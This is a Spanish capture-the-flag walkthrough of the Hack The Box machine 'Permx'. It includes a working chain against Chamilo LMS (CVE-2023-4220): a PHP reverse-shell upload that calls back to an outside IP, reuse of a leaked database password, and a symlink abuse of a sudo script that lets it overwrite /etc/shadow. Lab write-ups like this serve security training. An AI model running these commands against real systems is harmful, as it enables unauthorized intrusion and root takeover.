Permx
OS: Linux
Dificultad: Fácil
Puntos: 20
Nmap Scan
nmap -vvv -p 22,80 -sV -sC -oN nmap.txt 10.129.215.161
Nmap scan report for 10.129.215.161
Host is up, received syn-ack (0.029s latency).
Scanned at 2024-07-08 05:11:12 EDT for 7s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAyYzjPGuVga97Y5vl5BajgMpjiGqUWp23U2DO9Kij5AhK3lyZFq/rroiDu7zYpMTCkFAk0fICBScfnuLHi6NOI=
| 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8A41tX6hHpQeDLNhKf2QuBM7kqwhIBXGZ4jiOsbYCI
80/tcp open http syn-ack Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://permx.htb
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeracion
Enumeramos subdominios con ffuf.
ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.permx.htb" -u http://permx.htb -fw 18
www [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 30ms]
lms [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 1257ms]
El subdominio lms.permx.htb muestra que esta usando la aplicacion chamilo.
Chamilo LMS Unauthenticated Big Upload File Remote Code Execution (CVE-2023-4220)
Investigando exploits publicos ubicames el siguiente que nos permite obtener RCE.
https://starlabs.sg/advisories/23/23-4220/
Creamos nuestro archivo php.
echo '<?php system("bash -c \"bash -i >& /dev/tcp/10.10.14.54/1234 0>&1\""); ?>' > rce.php
Subimos nuestro archivo.
curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
Consultamos la reverse shell.
curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'
Obtenemos la shell.
nc -lvnp 1234
Lateral Movement
En los directorios de la aplicacion encontramos el usuario y password de la base de datos este puede ser utilizando con el usuario mtz.
www-data@permx:/var/www/chamilo/app/config$ grep -ir DB_USER .
./configuration.php:$_configuration['db_user'] = 'chamilo';
www-data@permx:/var/www/chamilo/app/config$ grep -ir DB_PASSWORD .
./configuration.php:$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
www-data@permx:/var/www/chamilo/app/config$ su mtz
Password:
mtz@permx:/var/www/chamilo/app/config$
Privilege Escalation
El usuario tiene privilegios de sudo para el siguiente comando.
mtz@permx:/var/www/chamilo/app/config$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
El script nos permite modificar los permisos de los archivos ubicados en /home/mtz únicamente, restringiendo la entrada .. para evitar el path traversal. Sólo comprueba el prefijo de la ruta y no la ruta final resuelta del enlace simbólico.
Así, podemos crear un Enlace Simbólico que apunte a un fichero o directorio sensible.
ln -s / doom
sudo /opt/acl.sh mtz rwx /home/mtz/doom/etc/shadow
Ahora sobreescribimos el archibo shadow con nuestro hash.
openssl passwd -6 doom
echo 'root:$6$oUogR2sUeQMgUhgB$yWISe3AMF6Wg3gyNB7ypS/B4qJqSQRQtj6iAemNSY4P7.5s9FYBZB7x9rtyWTjSMLr1/xgZzL1oegR0PJTKcJ.:19742:0:99999:7:::' > /etc/shadow
Ahora nos autenticamos como root.